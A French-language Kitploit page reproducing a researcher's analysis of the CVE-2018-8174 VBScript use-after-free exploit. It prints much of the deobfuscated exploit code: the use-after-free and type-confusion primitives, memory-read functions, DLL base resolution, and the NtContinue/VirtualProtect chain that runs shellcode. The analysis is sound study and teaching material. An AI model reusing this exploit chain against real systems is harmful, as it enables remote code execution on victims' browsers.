Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2018-8174_analysis — Analyse de l'exploit VBS CVE-2018-8174 | Kitploit
Outils/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Criminalistique MémoireAnalyse des VulnérabilitésExploitationRétro-ingénierieApprentissage et ÉducationExploitation de Binaires
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Analyse de l'exploit VBS CVE-2018-8174

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
3014il y a 8 ansVérifié par Kitploit

Dissection d'un exploit de navigateur moderne : étude de cas du CVE-2018-8174

Vue d'ensemble

Lorsque cet exploit est apparu pour la première fois à la charnière d'avril et de mai, il a piqué mon intérêt, car malgré une forte obfuscation, la structure du code semblait bien organisée et le code d'exploitation de la vulnérabilité suffisamment petit pour simplifier l'analyse. J'ai téléchargé le POC depuis github et j'ai décidé que ce serait un bon candidat pour examiner son fonctionnement interne. À cette époque, deux analyses avaient déjà été publiées, la première par 360 et la seconde par Kaspersky. Toutes deux m'ont aidé à comprendre son fonctionnement, mais ne suffisaient pas à comprendre en profondeur chaque aspect de l'exploit. C'est pourquoi j'ai décidé de l'analyser moi-même et de partager mes conclusions.

Prétraitement

Tout d'abord, afin de supprimer l'obfuscation des entiers, j'ai utilisé une substitution par regex dans un script python :

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

En ce qui concerne les noms obfusqués, je les ai renommés progressivement au cours de l'analyse. Cette analyse est mieux lue avec le code source dont le lien se trouve à la fin.

Use after free

La vulnérabilité se produit lorsque l'objet est détruit et que la fonction personnalisée Class_Terminate() est appelée. Dans cette fonction, une référence à l'objet en cours de libération est enregistrée dans UafArray. Désormais, UafArray(i) fait référence à l'objet supprimé.

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Remarquez également la dernière ligne dans Class_Terminate(). Lorsque nous copions l'objet ClassTerminate dans UafArray, son compteur de références est incrémenté. Pour compenser, nous le libérons à nouveau en assignant une autre valeur à FreedObjectArray. Sans cela, la mémoire de l'objet ne serait pas libérée malgré l'appel à Class_Terminate sur celui-ci, et l'objet suivant ne serait pas alloué à sa place.

Méthode VBScriptClass::Release

La création et la suppression de nouveaux objets est répétée 7 fois dans une boucle, après quoi un nouvel objet de classe ReuseClass est créé. Il est alloué dans la même mémoire qui était auparavant occupée par les 7 instances ClassTerminate. Pour mieux comprendre cela, voici un script WinDbg simple qui suit toutes ces allocations :

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Voici le journal d'allocation de la fonction UafTrigger :

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Nous pouvons immédiatement voir que ReuseClass est effectivement allouée dans la même mémoire qui avait été assignée aux 7 instances précédentes de ClassTerminate. Ceci est répété deux fois. Nous nous retrouvons avec deux objets référencés par UafArrays. Aucune de ces références n'est reflétée dans le compteur de références de l'objet. Dans ce journal, nous pouvons également remarquer que même après l'appel à Class_Terminate, certaines manipulations d'objet modifient son compteur de références. C'est pourquoi, si nous ne compensions pas ce compteur dans Class_Terminate, nous obtiendrions quelque chose comme ceci :

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Des adresses d'allocation différentes. L'exploit ne parviendrait pas à créer la condition use after free.

Confusion de type

Ayant créé ces deux objets avec 7 références non comptabilisées pour chacun, nous avons établi une primitive de lecture arbitraire de la mémoire. Il existe deux classes similaires, ReuseClass et FakeReuseClass. En remplaçant la première classe par la seconde, une confusion de type sur le membre mem se produit.

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

Dans la fonction SetProp, ReuseClass.mem est sauvegardé et Default Property Get de la classe ReplacingClass_* est appelée ; le résultat de cet appel sera placé dans ReuseClass.mem.

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

À l'intérieur de ce getter, UafArray est vidé en assignant 0 à chaque élément. Cela provoque l'appel de VBScriptClass::Release sur l'objet ReuseClass référencé par UafArray. Il s'avère qu'à ce stade de l'exécution, l'objet ReuseClass a un compteur de références égal à 7, et comme nous appelons Release 7 fois, cet objet est libéré. Et parce que ces références proviennent d'une situation use after free, elles ne sont pas comptabilisées dans le compteur de références. À la place de ReuseClass, un nouvel objet de FakeReuseClass est alloué. Maintenant, pour obtenir son compteur de références égal à 7, comme c'était le cas avec ReuseClass, nous l'assignons 7 fois à UafArray. Voici la disposition de la mémoire avant et après cette opération.

Remplacement de ReuseClass par FakeReuseClass

Diagramme des objets VBScript

Une fois cela fait, la fonction getter retournera une valeur qui sera assignée à l'ancienne variable ReuseClass::mem. Comme on peut le voir sur les vidages mémoire, l'ancienne valeur était placée 0xC octets avant la nouvelle. Les objets ont été spécialement conçus pour provoquer cette situation, par exemple en choisissant une longueur appropriée pour les noms de fonctions. Désormais, la valeur écrite dans ReuseClass::mem écrasera l'en-tête de FakeReuseClass::mem, créant une situation de type confusion.

Confusion de type sur le membre mem

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to

objectImitatingArray.mem = FakeArrayString

La dernière ligne a assigné la chaîne FakeArrayString à objectImitatingArray.mem. L'en-tête a maintenant la valeur VT_BSTR

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

Cette valeur a remplacé le type de objectImitatingArray.mem par VT_ARRAY | VT_VARIANT et désormais le pointeur vers la chaîne sera interprété comme un pointeur vers une structure SAFEARRAY.

Lecture arbitraire de la mémoire

Le résultat est que nous nous retrouvons avec deux objets de FakeReuseClass. L'un d'eux a un membre tableau mem qui adresse tout l'espace utilisateur (0x00000000 - 0x7fffffff) et l'autre a un membre de type VT_I4 (entier 4 octets) avec un pointeur vers une chaîne vide de 16 octets. En utilisant le second objet, un pointeur vers la chaîne est divulgué :

root@kitploit:~
some_memory=resueObjectB_int.mem

Il sera utilisé plus tard comme adresse dans une mémoire accessible en écriture. L'étape suivante consiste à divulguer une adresse quelconque à l'intérieur de vbscript.dll. Une astuce très élégante est utilisée ici.

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

Nous définissons d'abord qu'en cas d'erreur, le script doit simplement poursuivre son exécution normale. Ensuite, une tentative est faite pour assigner EmptySub à une variable. Cela n'est pas possible en VBS, mais une valeur est tout de même poussée sur la pile avant que l'erreur ne soit générée. L'instruction suivante doit assigner null à une variable, ce qu'elle fait en changeant simplement le type de la dernière valeur de la pile en VT_NULL. Désormais, emptySub_addr_placeholder contient un pointeur vers la fonction, mais avec le type défini sur VT_NULL.

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' set var type to type vbLong 
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' set data
End Sub

Ensuite, cette valeur est écrite dans notre mémoire accessible en écriture, son type est changé en VT_I4 et elle est relue comme un entier. Si nous vérifions le contenu de cette valeur, il s'avère qu'il s'agit d'un pointeur vers CScriptEntryPoint et que le premier membre est vftable, pointant à l'intérieur de vbscript.dll.

Divulgation de l'adresse de vbscript.dll

Pour lire une valeur à partir d'une adresse arbitraire, dans ce cas le pointeur retourné par LeakVBAddr, les fonctions suivantes sont utilisées :

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' set type to VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' set type to original VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

La lecture est réalisée en écrivant d'abord adresse+4 dans une mémoire accessible en écriture, puis le type est changé en VT_BSTR. Désormais, adresse+4 est traité comme un pointeur vers BSTR. Si nous appelons LenB sur adresse+4, il retournera la valeur pointée par l'adresse. Pourquoi ? Parce que, selon la définition de BSTR, la valeur unicode est précédée de sa longueur, et cette longueur est retournée par LenB.

Implémentation de LenB

Maintenant que l'adresse à l'intérieur de vbscript.dll a été divulguée, et ayant établi une lecture arbitraire de la mémoire, il s'agit de parcourir correctement l'en-tête PE pour obtenir toutes les adresses nécessaires.

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

Les détails de cette opération ne seront pas expliqués ici. Cet article explique le fichier PE en détail.

Déclenchement de l'exécution de code

L'exécution finale du code est réalisée en deux étapes. D'abord, une chaîne de deux appels est construite, mais ce n'est pas une chaîne ROP. NtContinue reçoit une structure CONTEXT qui définit EIP sur l'adresse de VirtualProtect, et ESP sur la structure contenant les paramètres de VirtualProtect.

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - padding, this space will be used as stack
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - address to return to after VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1st param for VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - size (2nd param for VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3rd param for VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- padding and allignment
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - initalize _CONTEXT with 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP in _CONTEXT struct
	result = result & UnescapeValue(27)			' 0x1b - CsSeg in _CONTEXT struct
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS in _CONTEXT struct
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
	result = result & UnescapeValue(35)			' 0x23 - SsSeg in _CONTEXT struct
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

La première adresse du shellcode est obtenue en utilisant la technique décrite précédemment consistant à changer le type de la variable en VT_I4 et à lire le pointeur. Ensuite, une structure pour VirtualProtect est construite, contenant tous les paramètres nécessaires, comme l'adresse du shellcode, la taille et les protections RWX. Elle dispose également d'un espace qui sera utilisé pour les opérations de pile à l'intérieur de VirtualProtect. Après cela, une structure CONTEXT est construite, avec EIP défini sur VirtualProtect et ESP sur ses paramètres. Cette structure a également comme première valeur un pointeur vers l'adresse de NtContinue répété 4 fois. La dernière étape avant de lancer cette chaîne consiste à enregistrer la structure sous forme de chaîne en mémoire.

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

Cette fonction est ensuite utilisée pour démarrer la chaîne. Elle change d'abord le type de la structure enregistrée en 0x4D puis définit sa valeur à 0, ce qui provoque l'appel de VAR::Clear.

Exécution de code

Et une vue dynamique depuis le débogueur

Exécution de code

Bien que cela puisse sembler compliqué, cette chaîne d'exécution est très simple. Juste deux étapes. Invoquer NtContinue avec la structure CONTEXT pointant vers VirtualProtect. Ensuite, VirtualProtect désactivera la DEP sur la page mémoire qui contient le shellcode et, après cela, il retournera dans le shellcode.

Conclusion

CVE-2018-8174 est un bon exemple d'enchaînement de quelques conditions de type use-after-free et de confusion de type pour parvenir à une exécution de code d'une manière très astucieuse. C'est un excellent exemple pour apprendre et comprendre le fonctionnement interne de tels exploits.

Liens utiles

Code de l'exploit commenté

Analyse de la cause racine par Kaspersky

Analyse de 360

Une autre analyse de Kaspersky

Analyse de CVE-2014-6332 par Trend Micro

Télécharger l’outil